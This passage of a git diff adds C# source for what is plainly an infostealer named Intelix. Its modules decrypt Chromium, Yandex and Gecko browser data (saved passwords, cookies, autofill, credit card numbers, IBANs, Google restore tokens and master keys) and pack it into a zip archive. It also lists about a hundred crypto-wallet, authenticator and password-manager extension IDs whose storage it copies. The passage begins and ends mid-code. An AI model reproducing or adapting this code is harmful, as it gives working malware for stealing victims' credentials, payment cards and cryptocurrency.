(File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"profile\"\\s*:\\s*\\{[^}]*\"name\"\\s*:\\s*\"([^\"]+)\"[^}]*\\}", RegexOptions.IgnoreCase); + if (match.Success) + { + string profileName = match.Groups[1].Value; + StringBuilder json = new StringBuilder(); + json.AppendLine("{"); + json.AppendLine(" \"browser\": {"); + json.AppendLine(" \"name\": \"" + browsername + "\","); + json.AppendLine(" \"version\": \"128.0.0.0\""); + json.AppendLine(" },"); + json.AppendLine(" \"profile\": \"" + profileName + "\""); + json.AppendLine("}"); + zip.AddTextFile("Browser/FingerPrint/" + browsername + "_" + profilename + ".json", json.ToString()); + } + } + } + catch + { + } + } + + private void GoogleAccounts(InMemoryZip zip, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + string tokenPath = Path.Combine(profile, "Web Data"); + if (File.Exists(tokenPath)) + { + byte[] bytes = File.ReadAllBytes(tokenPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("token_service"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string service = sqLite.GetValue(i, 0); + byte[] encryptedToken = Encoding.Default.GetBytes(sqLite.GetValue(i, 1)); + if (encryptedToken != null && encryptedToken.Length > 0 && service.Contains("AccountId")) + { + byte[] decrypted = AesGcm.DecryptBrowser(encryptedToken, masterv10, masterv20, checkprefix: false); + if (decrypted != null) + { + string token = Encoding.UTF8.GetString(decrypted); + sb.AppendLine(token); + } + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/GoogleAccounts/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void MasterKeys(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string localStatePath = browser + "\\Local State"; + if (File.Exists(localStatePath)) + { + byte[] masterv10 = LocalState.MasterKeyV10(localStatePath); + byte[] masterv20 = LocalState.MasterKeyV20(localStatePath); + if (masterv10 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv10)); + } + else if (masterv20 != null) + { + zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv20)); + } + } + } + catch + { + } + } + + private void SaveBrowserPath(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + zip.AddTextFile("Browser/Path/" + browsername + "_" + profilename + ".txt", profile); + } + catch + { + } + } + + private void UA(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State"); + if (File.Exists(localStatePath)) + { + string content = File.ReadAllText(localStatePath); + Match match = Regex.Match(content, "\"user_agent\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + if (match.Success) + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", match.Groups[1].Value); + } + else + { + zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"); + } + } + } + catch + { + } + } + + private void Version(InMemoryZip zip, string browser, string profilename, string browsername) + { + try + { + string versionPath = Path.Combine(Path.GetDirectoryName(browser), "Application", browsername + ".exe"); + if (!File.Exists(versionPath)) + { + versionPath = Path.Combine(Path.GetDirectoryName(browser), browsername + ".exe"); + } + if (!File.Exists(versionPath)) + { + string[] possiblePaths = new string[] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google", "Chrome", "Application", "chrome.exe"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "Application", "chrome.exe") + }; + foreach (string path in possiblePaths) + { + if (File.Exists(path)) + { + versionPath = path; + break; + } + } + } + if (File.Exists(versionPath)) + { + System.Diagnostics.FileVersionInfo versionInfo = System.Diagnostics.FileVersionInfo.GetVersionInfo(versionPath); + zip.AddTextFile("Browser/Version/" + browsername + "_" + profilename + ".txt", versionInfo.FileVersion ?? "Unknown"); + } + } + catch + { + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 3); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "URL: " + value + "\nUsername: " + value2 + "\nPassword: " + text + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + string value = sSqLite.GetValue(i, 4); + string value2 = sSqLite.GetValue(i, 1); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 6); + string value5 = sSqLite.GetValue(i, 7); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + if (!string.IsNullOrEmpty(value)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + } + else + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: true); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item2 = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + text + "\n"; + lines.Add(item2); + ++counterBrowser.Cookies; + } + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void CreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 4)); + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 1); + if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3)) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array); + string item = "Number: " + text + "\nExp: " + value2 + "/" + value + "\nHolder: " + value3 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void TokenRestore(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null && masterv20 == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 1)); + if (bytes != null) + { + byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false); + if (array != null) + { + string text = Encoding.UTF8.GetString(array) + ":" + value.Replace("AccountId-", "") + "\n"; + lines.Add(text); + ++counterBrowser.RestoreToken; + if (value.Contains("AccountId")) + { + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + "_Restore.txt", RestoreCookies.CRestore(text)); + } + } + } + } + catch + { + } + }); + zip.AddTextFile("RestoreToken\\RestoreToken_[" + browsername + "]" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexPassword(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 0); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 7); + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5)); + if (bytes.Length != 0) + { + byte[] bytes2 = YaAuthenticatedData.Decrypt(encryptionKey, bytes, value, value2, value4, value3, value5); + string item = "URL: " + value + "\nUsername: " + value3 + "\nPassword: " + Encoding.UTF8.GetString(bytes2) + "\n\n"; + lines.Add(item); + ++counterBrowser.Password; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void YandexGetCard(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + if (masterv10 == null) + { + return; + } + byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10); + if (encryptionKey == null || encryptionKey.Length != 32) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 0)); + byte[] bytes2 = Encoding.Default.GetBytes(sSqLite.GetValue(i, 2)); + string value = sSqLite.GetValue(i, 1); + byte[] array = new byte[12]; + Array.Copy(bytes2, 0, array, 0, 12); + int num = bytes2.Length - 12 - 16; + byte[] array2 = new byte[num]; + Array.Copy(bytes2, 12, array2, 0, num); + byte[] array3 = new byte[16]; + Array.Copy(bytes2, bytes2.Length - 16, array3, 0, 16); + string input = Encoding.UTF8.GetString(AesGcm256.Decrypt(encryptionKey, array, bytes, array2, array3)); + Match match = Regex.Match(input, "[\"']?full_card_number[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + string text = (match.Success ? match.Groups["v"].Value.Trim() : null); + if (string.IsNullOrEmpty(text)) + { + Match match2 = Regex.Match(input, "[\"']?(?:card_number|number)[\"']?\\s*:\\s*[\"']?(?[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase); + text = (match2.Success ? match2.Groups["v"].Value.Trim() : null); + } + Match match3 = Regex.Match(value, "[\"']?expire_date_month[\"']?\\s*:\\s*[\"']?(?\\d{1,2})[\"']?", RegexOptions.IgnoreCase); + Match match4 = Regex.Match(value, "[\"']?expire_date_year[\"']?\\s*:\\s*[\"']?(?\\d{2,4})[\"']?", RegexOptions.IgnoreCase); + string text2 = (match3.Success ? match3.Groups["m"].Value.PadLeft(2, '0') : null); + string text3 = (match4.Success ? match4.Groups["y"].Value : null); + Match match5 = Regex.Match(value, "[\"']?card_holder[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + string text4 = (match5.Success ? match5.Groups["v"].Value : null); + if (string.IsNullOrEmpty(text4)) + { + Match match6 = Regex.Match(value, "[\"']?(?:cardholder|holder|name)[\"']?\\s*:\\s*[\"'](?(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline); + text4 = (match6.Success ? match6.Groups["v"].Value : text4); + } + if (!string.IsNullOrEmpty(text4)) + { + text4 = Regex.Unescape(text4); + text4 = Regex.Replace(text4, "\\\\u([0-9A-Fa-f]{4})", (Match m) => ((char)Convert.ToInt32(m.Groups[1].Value, 16)).ToString()); + text4 = text4.Trim(); + if (Regex.IsMatch(text4, "^[A-Za-z0-9\\+/=]{8,}$")) + { + try + { + byte[] bytes3 = Convert.FromBase64String(text4); + string text5 = Encoding.UTF8.GetString(bytes3); + if (!string.IsNullOrWhiteSpace(text5)) + { + text4 = text5.Trim(); + } + } + catch + { + } + } + } + if (string.IsNullOrEmpty(text)) + { + text = "Unknown"; + } + if (string.IsNullOrEmpty(text2)) + { + text2 = "Unknown"; + } + if (string.IsNullOrEmpty(text3)) + { + text3 = "Unknown"; + } + if (string.IsNullOrEmpty(text4)) + { + text4 = "Unknown"; + } + string item = "Number: " + text + "\nExp: " + text2 + "/" + text3 + "\nHolder: " + text4 + "\n\n"; + lines.Add(item); + ++counterBrowser.CreditCards; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines)); + } + + private void MaskCreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string value4 = sSqLite.GetValue(i, 4); + string value5 = sSqLite.GetValue(i, 5); + string value6 = sSqLite.GetValue(i, 6); + string value7 = sSqLite.GetValue(i, 7); + string value8 = sSqLite.GetValue(i, 12); + string item = "Name On Card: " + value + "\nNetwork: " + value2 + "\nCard Last Number: " + value3 + "\nExp: " + value4 + "/" + value5 + "\nBank Name: " + value6 + "\nNickName: " + value7 + "\nProduct Description: " + value8 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskCreditCard; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Mask.txt", string.Concat(lines)); + } + + private void MaskedIbans(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + string value3 = sSqLite.GetValue(i, 3); + string item = "Nickname: " + value3 + "\nPrefix: " + value + "\nSuffix: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.MaskedIban; + } + catch + { + } + }); + zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + "_Iban.txt", string.Concat(lines)); + } +} diff --git a/Intelix.Targets.Browsers/CryptoChromium.cs b/Intelix.Targets.Browsers/CryptoChromium.cs new file mode 100644 index 0000000..29b3e20 --- /dev/null +++ b/Intelix.Targets.Browsers/CryptoChromium.cs @@ -0,0 +1,155 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoChromium : ITarget +{ + private readonly List ChromeWalletsDirectories = new List + { + new string[2] { "Trust Wallets", "pknlccmneadmjbkollckpblgaaabameg" }, + new string[2] { "MetaWallet", "pfknkoocfefiocadajpngdknmkjgakdg" }, + new string[2] { "Guarda Wallet", "fcglfhcjfpkgdppjbglknafgfffkelnm" }, + new string[2] { "Exodus", "idkppnahnmmggbmfkjhiakkbkdpnmnon" }, + new string[2] { "JaxxxLiberty", "mhonjhhcgphdphdjcdoeodfdliikapmj" }, + new string[2] { "Atomic Wallet", "bhmlbgebokamljgnceonbncdofmmkedg" }, + new string[2] { "Mycelium", "pidhddgciaponoajdngciiemcflpnnbg" }, + new string[2] { "Coinomi", "blbpgcogcoohhngdjafgpoagcilicpjh" }, + new string[2] { "GreenAddress", "gflpckpfdgcagnbdfafmibcmkadnlhpj" }, + new string[2] { "Edge", "doljkehcfhidippihgakcihcmnknlphh" }, + new string[2] { "BRD", "nbokbjkelpmlgflobbohapifnnenbjlh" }, + new string[2] { "Samourai Wallet", "apjdnokplgcjkejimjdfjnhmjlbpgkdi" }, + new string[2] { "Copay", "ieedgmmkpkbiblijbbldefkomatsuahh" }, + new string[2] { "Bread", "jifanbgejlbcmhbbdbnfbfnlmbomjedj" }, + new string[2] { "KeepKey", "dojmlmceifkfgkgeejemfciibjehhdcl" }, + new string[2] { "Trezor", "jpxupxjxheguvfyhfhahqvxvyqthiryh" }, + new string[2] { "Ledger Live", "pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln" }, + new string[2] { "Ledger Wallet", "hbpfjlflhnmkddbjdchbbifhllgmmhnm" }, + new string[2] { "Bitbox", "ocmfilhakdbncmojmlbagpkjfbmeinbd" }, + new string[2] { "Digital Bitbox", "dbhklojmlkgmpihhdooibnmidfpeaing" }, + new string[2] { "YubiKey", "mammpjaaoinfelloncbbpomjcihbkmmc" }, + new string[2] { "Nifty Wallet", "jbdaocneiiinmjbjlgalhcelgbejmnid" }, + new string[2] { "Math Wallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc" }, + new string[2] { "Coinbase Wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, + new string[2] { "Equal Wallet", "blnieiiffboillknjnepogjhkgnoac" }, + new string[2] { "EVER Wallet", "cgeeodpfagjceefieflmdfphplkenlfk" }, + new string[2] { "Jaxx Liberty", "ocefimbphcgjaahbclemolcmkeanoagc" }, + new string[2] { "BitApp Wallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi" }, + new string[2] { "Mew CX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm" }, + new string[2] { "GU Wallet", "nfinomegcaccbhchhgflladpfbajihdf" }, + new string[2] { "Guild Wallet", "nanjmdkhkinifnkgdeggcnhdaammmj" }, + new string[2] { "Saturn Wallet", "nkddgncdjgifcddamgcmfnlhccnimig" }, + new string[2] { "Harmony Wallet", "fnnegphlobjdpkhecapkijjdkgcjhkib" }, + new string[2] { "TON Wallet", "nphplpgoakhhjchkkhmiggakijnkhfnd" }, + new string[2] { "OpenMask Wallet", "penjlddjkjgpnkllboccdgccekpkcbin" }, + new string[2] { "MyTonWallet", "fldfpgipfncgndfolcbkdeeknbbbnhcc" }, + new string[2] { "DeWallet", "pnccjgokhbnggghddhahcnaopgeipafg" }, + new string[2] { "TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph" }, + new string[2] { "NC Wallet", "imlcamfeniaidioeflifonfjeeppblda" }, + new string[2] { "Moso Wallet", "ajkifnllfhikkjbjopkhmjoieikeihjb" }, + new string[2] { "Enkrypt Wallet", "kkpllkodjeloidieedojogacfhpaihoh" }, + new string[2] { "CirusWeb3 Wallet", "kgdijkcfiglijhaglibaidbipiejjfdp" }, + new string[2] { "Martian and Sui Wallet", "efbglgofoippbgcjepnhiblaibcnclgk" }, + new string[2] { "SubWallet", "onhogfjeacnfoofkfgppdlbmlmnplgbn" }, + new string[2] { "Pontem Wallet", "phkbamefinggmakgklpkljjmgibohnba" }, + new string[2] { "Talisman Wallet", "fijngjgcjhjmmpcmkeiomlglpeiijkld" }, + new string[2] { "Kardiachain Wallet", "pdadjkfkgcafgbceimcpbkalnfnepbnk" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhipmgjnjophhpkkoljpa" }, + new string[2] { "Phantom Wallet", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, + new string[2] { "Oxygen Wallet", "fhilaheimglignddjgofkcbgekhenbh" }, + new string[2] { "PaliWallet", "mgfffbidihjpoaomajlbgchddlicgpn" }, + new string[2] { "BoltX Wallet", "aodkkagnadcbobfpggnjeongemjbjca" }, + new string[2] { "Liquality Wallet", "kpopkelmapcoipemfendmdghnegimn" }, + new string[2] { "xDefi Wallet", "hmeobnffcmdkdcmlb1gagmfpfboieaf" }, + new string[2] { "Nami Wallet", "ipfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "MaiarDeFi Wallet", "dngmlblcodfobpdpecaadgfbeggfjfnm" }, + new string[2] { "MetaMask Wallet", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, + new string[2] { "MetaMask Wallet", "djclckkglechooblngghdinmeemkbgci" }, + new string[2] { "MetaMask Wallet", "ejbalbakoplchlghecdalmeeeajnimhm" }, + new string[2] { "Goblin Wallet", "mlbafbjadjidk1bhgopoamemfibcpdfi" }, + new string[2] { "Braavos Smart Wallet", "jnlgamecbpmbajjfhmmmlhejkemejdma" }, + new string[2] { "UniSat Wallet", "ppbibelpcjmhbdihakflkdcoccbgbkpo" }, + new string[2] { "OKX Wallet", "mcohilncbfahbmgdjkbpemcciiolgcge" }, + new string[2] { "Manta Wallet", "enabgbdfcbaehmbigakijjabdpdnimlg" }, + new string[2] { "Suku Wallet", "fopmedgnkfpebgllppeddmmochcookhc" }, + new string[2] { "Suiet Wallet", "khpkpbbcccdmmclmpigdgddabeilkdpd" }, + new string[2] { "Koala Wallet", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid" }, + new string[2] { "ExodusWeb3 Wallet", "aholpfdialjgjfhomihkjbmgjidlcdno" }, + new string[2] { "Aurox Wallet", "kilnpioakcdndlodeeceffgjdpojajlo" }, + new string[2] { "Fewcha Move Wallet", "ebfidpplhabeedpnhjnobghokpiioolj" }, + new string[2] { "Carax Demon Wallet", "mdjmfdffdcmnoblignmgpommbefadffd" }, + new string[2] { "Leap Terra Wallet", "aijcbedoijmgnlmjeegjaglmepbmpkpi" }, + new string[2] { "Keplr Wallet", "dmkamcknogkgcdfhhbddcghachkejeap" }, + new string[2] { "Binance Chain Wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, + new string[2] { "Yoroi Wallet", "ffnbelfdoeiohenkjibnmadjiehjhajb" }, + new string[2] { "Rabby Wallet", "acmacodkjbdgmoleebolmdjonilkdbch" }, + new string[2] { "TokenPocket", "mfgccjchihfkkindfppnaooecgfneiii" }, + new string[2] { "SafePal Extension Wallet", "lgmpcpglpngdoalbgeoldeajfclnhafa" }, + new string[2] { "Magic Eden Wallet", "mkpegjkblkkefacfnmkajcjmabijhclg" }, + new string[2] { "Ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, + new string[2] { "Coin98", "aeachknmefphepccionboohckonoeemg" }, + new string[2] { "TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp" }, + new string[2] { "Wombat", "amkmjjmmflddogmhpjloimipbofnfjih" }, + new string[2] { "Nami", "lpfcbjknijpeeillifnkikgncikgfhdo" }, + new string[2] { "XDEFI", "hmeobnfnfcmdkdcmlblgagmfpfboieaf" }, + new string[2] { "Tron", "ibnejdfjmmkpcnlpebklmnkoeoihofec" }, + new string[2] { "Authenticator", "bhghoamapcdpbohphigoooaddinpkbai" }, + new string[2] { "Google Authenticator", "khcodhlfkpmhibicdjjblnkgimdepgnd" }, + new string[2] { "Microsoft Authenticator", "bfbdnbpibgndpjfhonkflpkijfapmomn" }, + new string[2] { "Authy", "gjffdbjndmcafeoehgdldobgjmlepcal" }, + new string[2] { "Duo Mobile", "eidlicjlkaiefdbgmdepmmicpbggmhoj" }, + new string[2] { "OTP Auth", "bobfejfdlhnabgglompioclndjejolch" }, + new string[2] { "FreeOTP", "elokfmmmjbadpgdjmgglocapdckdcpkn" }, + new string[2] { "Aegis Authenticator", "ppdjlkfkedmidmclhakfncpfdmdgmjpm" }, + new string[2] { "LastPass Authenticator", "cfoajccjibkjhbdjnpkbananbejpkkjb" }, + new string[2] { "Dashlane", "flikjlpgnpcjdienoojmgliechmmheek" }, + new string[2] { "Keeper", "gofhklgdnbnpcdigdgkgfobhhghjmmkj" }, + new string[2] { "RoboForm", "hppmchachflomkejbhofobganapojjol" }, + new string[2] { "KeePass", "lbfeahdfdkibininjgejjgpdafeopflb" }, + new string[2] { "KeePassXC", "kgeohlebpjgcfiidfhhdlnnkhefajmca" }, + new string[2] { "Bitwarden", "inljaljiffkdgmlndjkdiepghpolcpki" }, + new string[2] { "NordPass", "njgnlkhcjgmjfnfahdmfkalpjcneebpl" }, + new string[2] { "LastPass", "gabedfkgnbglfbnplfpjddgfnbibkmbb" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetChromeWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetChromeWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string path = Path.Combine(profilePath, "Local Extension Settings"); + if (!Directory.Exists(path)) + { + return; + } + Dictionary extensionDirs = Directory.EnumerateDirectories(path).ToDictionary((string dir) => Path.GetFileName(dir).ToLowerInvariant(), (string dir) => dir); + Parallel.ForEach(ChromeWalletsDirectories, delegate(string[] walletInfo) + { + string key = walletInfo[1]; + if (extensionDirs.TryGetValue(key, out var value)) + { + zip.AddDirectoryFiles(value, "Extension/" + Path.GetFileName(value)); + counter.CryptoChromium.Add(value + " => " + browserName + "_" + profilename + " " + walletInfo[0]); + } + }); + } +} diff --git a/Intelix.Targets.Browsers/CryptoGecko.cs b/Intelix.Targets.Browsers/CryptoGecko.cs new file mode 100644 index 0000000..129f934 --- /dev/null +++ b/Intelix.Targets.Browsers/CryptoGecko.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +public class CryptoGecko : ITarget +{ + private readonly List GeckoWalletsDirectories = new List + { + new string[2] { "Metamask Wallet", "7d61b592-e488-4f55-bf12-8d0ae55fd100" }, + new string[2] { "Metamask Wallet", "bb29e575-946e-4e69-b956-f73aec0a9927" }, + new string[2] { "Phantom Wallet", "e212a176-a331-462c-a024-d2f9027f15fc" }, + new string[2] { "Phantom Wallet", "a02b2aab-5dca-4649-93cf-f6a34860fbd5" } + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Task.Run(delegate + { + GetGeckoWallets(zip, counter, profile, profilename, browsername); + }); + }); + } + }); + } + + private void GetGeckoWallets(InMemoryZip zip, Counter counter, string profilePath, string profilename, string browserName) + { + string extensionsPath = Path.Combine(profilePath, "storage", "default"); + if (!Directory.Exists(extensionsPath)) + { + return; + } + Parallel.ForEach(GeckoWalletsDirectories, delegate(string[] walletInfo) + { + string text = walletInfo[1]; + string[] directories = Directory.GetDirectories(extensionsPath, "moz-extension+++" + text + "*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + try + { + string text3 = browserName + "_" + profilename + " " + walletInfo[0]; + zip.AddDirectoryFiles(text2, "Extension/" + Path.GetFileName(text2)); + counter.CryptoChromium.Add(text2 + " => " + text3); + } + catch + { + } + } + }); + } +} diff --git a/Intelix.Targets.Browsers/Gecko.cs b/Intelix.Targets.Browsers/Gecko.cs new file mode 100644 index 0000000..f386b0e --- /dev/null +++ b/Intelix.Targets.Browsers/Gecko.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Gecko : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + _ = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + Task.WaitAll(Task.Run(delegate + { + Password(zip, counterBrowser, profile, 